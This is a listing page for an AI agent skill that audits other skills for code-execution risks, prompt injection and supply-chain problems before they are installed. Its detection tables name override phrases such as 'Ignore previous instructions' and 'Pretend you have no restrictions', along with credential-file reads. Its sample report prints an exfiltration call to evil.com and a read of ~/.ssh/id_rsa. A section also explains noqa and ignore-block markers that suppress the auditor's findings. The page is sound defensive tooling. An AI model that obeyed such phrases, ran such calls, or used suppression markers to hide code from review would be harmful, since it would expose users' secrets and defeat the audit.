Skip to content

alirezarezvani/claude-skills / engineering/skills/skill-security-auditor

skill-security-auditor

Flagged

Use before installing any skill or plugin from an untrusted source, or when asked if a skill is safe. Scans scripts, SKILL.md and dependencies for exfiltration, dangerous calls and prompt injection with skill_security_auditor.py.

Skill Security Auditor

Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance.

Quick Start

# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/

# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json

What Gets Scanned

1. Code Execution Risks (Python/Bash Scripts)

Scans all .py, .sh, .bash, .js, .ts files for:

CategoryPatterns DetectedSeverity
Command injectionos.system(), os.popen(), subprocess.call(shell=True), backtick executionπŸ”΄ CRITICAL
Code executioneval(), exec(), compile(), __import__()πŸ”΄ CRITICAL
Obfuscationbase64-encoded payloads, codecs.decode, hex-encoded strings, chr() chainsπŸ”΄ CRITICAL
Network exfiltrationrequests.post(), urllib.request, socket.connect(), httpx, aiohttpπŸ”΄ CRITICAL
Credential harvestingreads from ~/.ssh, ~/.aws, ~/.config, env var extraction patternsπŸ”΄ CRITICAL
File system abusewrites outside skill dir, /etc/, ~/.bashrc, ~/.profile, symlink creation🟑 HIGH
Privilege escalationsudo, chmod 777, setuid, cron manipulationπŸ”΄ CRITICAL
Unsafe deserializationpickle.loads(), yaml.load() (without SafeLoader), marshal.loads()🟑 HIGH
Subprocess (safe)subprocess.run() with list args, no shellβšͺ INFO

2. Prompt Injection in SKILL.md

Scans SKILL.md and all .md reference files for:

PatternExampleSeverity
System prompt override"Ignore previous instructions", "You are now..."πŸ”΄ CRITICAL
Role hijacking"Act as root", "Pretend you have no restrictions"πŸ”΄ CRITICAL
Safety bypass"Skip safety checks", "Disable content filtering"πŸ”΄ CRITICAL
Hidden instructionsZero-width characters, HTML comments with directives🟑 HIGH
Excessive permissions"Run any command", "Full filesystem access"🟑 HIGH
Data extraction"Send contents of", "Upload file to", "POST to"πŸ”΄ CRITICAL

3. Dependency Supply Chain

For skills with requirements.txt, package.json, or inline pip install:

CheckWhat It DoesSeverity
Known vulnerabilitiesCross-reference with PyPI/npm advisory databasesπŸ”΄ CRITICAL
TyposquattingFlag packages similar to popular ones (e.g., reqeusts)🟑 HIGH
Unpinned versionsFlag requests>=2.0 vs requests==2.31.0βšͺ INFO
Install commands in codepip install or npm install inside scripts🟑 HIGH
Suspicious packagesLow download count, recent creation, single maintainerβšͺ INFO

4. File System & Structure

CheckWhat It DoesSeverity
Boundary violationScripts referencing paths outside skill directory🟑 HIGH
Hidden files.env, dotfiles that shouldn't be in a skill🟑 HIGH
Binary filesUnexpected executables, .so, .dll, .exeπŸ”΄ CRITICAL
Large filesFiles >1MB that could hide payloadsβšͺ INFO
SymlinksSymbolic links pointing outside skill directoryπŸ”΄ CRITICAL

Audit Workflow

  1. Run the scanner on the skill directory or repo URL
  2. Review the report β€” findings grouped by severity
  3. Verdict interpretation:
    • βœ… PASS β€” No critical or high findings. Safe to install.
    • ⚠️ WARN β€” High/medium findings detected. Review manually before installing.
    • ❌ FAIL β€” Critical findings. Do NOT install without remediation.
  4. Remediation β€” each finding includes specific fix guidance

Reading the Report

╔══════════════════════════════════════════════╗
β•‘  SKILL SECURITY AUDIT REPORT                β•‘
β•‘  Skill: example-skill                        β•‘
β•‘  Verdict: ❌ FAIL                            β•‘
╠══════════════════════════════════════════════╣
β•‘  πŸ”΄ CRITICAL: 2  🟑 HIGH: 1  βšͺ INFO: 3    β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

πŸ”΄ CRITICAL [CODE-EXEC] scripts/helper.py:42
   Pattern: eval(user_input)
   Risk: Arbitrary code execution from untrusted input
   Fix: Replace eval() with ast.literal_eval() or explicit parsing

πŸ”΄ CRITICAL [NET-EXFIL] scripts/analyzer.py:88
   Pattern: requests.post("https://evil.com/collect", data=results)
   Risk: Data exfiltration to external server
   Fix: Remove outbound network calls or verify destination is trusted

🟑 HIGH [FS-BOUNDARY] scripts/scanner.py:15
   Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
   Risk: Reads SSH private key outside skill scope
   Fix: Remove filesystem access outside skill directory

βšͺ INFO [DEPS-UNPIN] requirements.txt:3
   Pattern: requests>=2.0
   Risk: Unpinned dependency may introduce vulnerabilities
   Fix: Pin to specific version: requests==2.31.0

Advanced Usage

Audit a Skill from Git Before Cloning

# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup

CI/CD Integration

# GitHub Actions step
- name: "audit-skill-security"
  run: |
    python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi

Batch Audit

# Audit all skills in a directory
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done

Marking a False Positive

Mark a line the auditor misreads, and write the reason on it: # noqa: SEC-AUDITOR (strips a sudo prefix, runs nothing), or <!-- noqa: SEC-AUDITOR (reason) --> in markdown. Text inside a template string or docstring cannot take a trailing comment without it ending up in the generated file. For that text, put # auditor:ignore-start (reason) on the line before the string and # auditor:ignore-end on the line after it. An unclosed block suppresses nothing. Keep each block tight around the template, and never mark a finding you have not traced.

Threat Model Reference

For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.

Limitations

  • Cannot detect logic bombs or time-delayed payloads with certainty
  • Obfuscation detection is pattern-based β€” a sufficiently creative attacker may bypass it
  • Network destination reputation checks require internet access
  • Does not execute code β€” static analysis only (safe but less complete than dynamic analysis)
  • Dependency vulnerability checks use local pattern matching, not live CVE databases

When in doubt after an audit, don't install. Ask the skill author for clarification.

rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 469kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 469kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 469kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 194kUpdated Claude CodeCodexVerifiedInstall